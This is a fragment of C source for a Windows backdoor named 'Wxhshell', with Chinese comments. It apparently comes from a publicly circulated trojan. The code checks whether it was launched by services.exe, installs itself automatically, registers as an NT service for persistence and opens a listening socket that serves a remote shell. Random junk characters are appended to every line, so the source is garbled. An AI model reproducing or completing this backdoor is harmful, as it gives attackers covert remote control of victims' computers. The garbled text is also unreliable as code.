DWORD BasePriority; _Ct@1}aa4x
ULONG UniqueProcessId; [rD+8,zVm
ULONG InheritedFromUniqueProcessId; kM6
EZ`mj
} PROCESS_BASIC_INFORMATION; SF78s:_!_
H>@JfYZ0
PROCNTQSIP NtQueryInformationProcess; "!w[U{
1+.y,}F6b
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kV]%Q3t
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
FCjYTGA
{HE.mHy
HANDLE hProcess; _KT]l./
PROCESS_BASIC_INFORMATION pbi; >Gw%r1)
CU}
q&6h
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [hvig$L
if(NULL == hInst ) return 0; ;dpS@;v
PHE;
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O23]!S<;
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?45K%;.9Q
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T3B|r<>I
J$e Z Lj
if (!NtQueryInformationProcess) return 0; ^$Me#ls!
$bM#\2'
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ta+"lM7A}$
if(!hProcess) return 0; EeF n{_
}]Z,\lA
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'J&@jp
U:T5o]P<
CloseHandle(hProcess); 9\W5
yx`r;|ds}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]#WX|0''^
if(hProcess==NULL) return 0; Hme@9(zD.
SFm.<^6
HMODULE hMod; z!uB&2C{k
char procName[255]; ttJ:[ R'
unsigned long cbNeeded; -*-zU#2|
ix_$Ok
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LRLhS<9
uDMUy"8&!
CloseHandle(hProcess); B'[3kJ '
&_Xv:?
if(strstr(procName,"services")) return 1; // 以服务启动 "KQ\F0/
o*5e14W(:
return 0; // 注册表启动 ~[bMfkc3
} G~mB=]
El8.D3
// 主模块 P^d.,
int StartWxhshell(LPSTR lpCmdLine) 83O^e&Bt
{ hPCSLJ
SOCKET wsl; z|4@nqqX
BOOL val=TRUE; >GF(.:7
int port=0; tz \:r>3vI
struct sockaddr_in door; z2EI"'4\9
c]/O^/
if(wscfg.ws_autoins) Install(); 5{x[EXE'
+T8XX@#
port=atoi(lpCmdLine); #Z3I%bkw H
9zM4D
if(port<=0) port=wscfg.ws_port; k)4lX|}Vm
";!1(xZr
WSADATA data; hG0lR.:
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4OESsN$O
]|\>O5eeu
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ct4)faM
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /%@RO^P
door.sin_family = AF_INET; @#O|
door.sin_addr.s_addr = inet_addr("127.0.0.1"); &,gryBN
door.sin_port = htons(port); +cplM5X
L"zgBB?K6
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e]y=]}A3{
closesocket(wsl); 8G^B%h]
return 1; 36Fa9P FCc
} T_|fb)G+{
Dg2#Gv0B
if(listen(wsl,2) == INVALID_SOCKET) { [3;Y:&D
closesocket(wsl); C&#KdvN/r
return 1; ]oZ,{Q5~
} CSg5i&A=
Wxhshell(wsl); m{=~|I
WSACleanup(); onypwfIk)t
"8Wc\YDh
return 0; RSVN(-wIi)
!j\&BAxTEk
} {bsr
9.k(
H_nOE(i<z
// 以NT服务方式启动 W*WH .1&
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ->#@rF:S
{ UOL%tT
DWORD status = 0; yl;$#aZB
DWORD specificError = 0xfffffff; JbD)}(G;
Vm%ux>}
serviceStatus.dwServiceType = SERVICE_WIN32; kjYO0!C
serviceStatus.dwCurrentState = SERVICE_START_PENDING; !6i
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tFP;CW!E
serviceStatus.dwWin32ExitCode = 0; |$*9j""u
serviceStatus.dwServiceSpecificExitCode = 0; 6"c!tJc7j
serviceStatus.dwCheckPoint = 0; M97p.; ;
serviceStatus.dwWaitHint = 0; wP *a>a
FYE9&{]h
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *V<2\-
if (hServiceStatusHandle==0) return; 6'lT`E|
[q|Q]O0
status = GetLastError(); #mFAl|O
if (status!=NO_ERROR) VDI S`E
{ Ognq*[om
serviceStatus.dwCurrentState = SERVICE_STOPPED; W&q5cz
serviceStatus.dwCheckPoint = 0; ^xu)~:} i
serviceStatus.dwWaitHint = 0; x6cl(J}
serviceStatus.dwWin32ExitCode = status; _(A+_|
serviceStatus.dwServiceSpecificExitCode = specificError; B
qiq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ta5iY
}
return; -tdON
} cLk+( dn
Tee3U%Y
serviceStatus.dwCurrentState = SERVICE_RUNNING; sf&K<C](
serviceStatus.dwCheckPoint = 0; lNnbd?D8
serviceStatus.dwWaitHint = 0; MM)/B>c Qt
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /P:WQ*
} Ku\#Wj|YrP
J+*Y)k
// 处理NT服务事件,比如:启动、停止 #3ro?w
VOID WINAPI NTServiceHandler(DWORD fdwControl) vT<wd#
{ H"
g&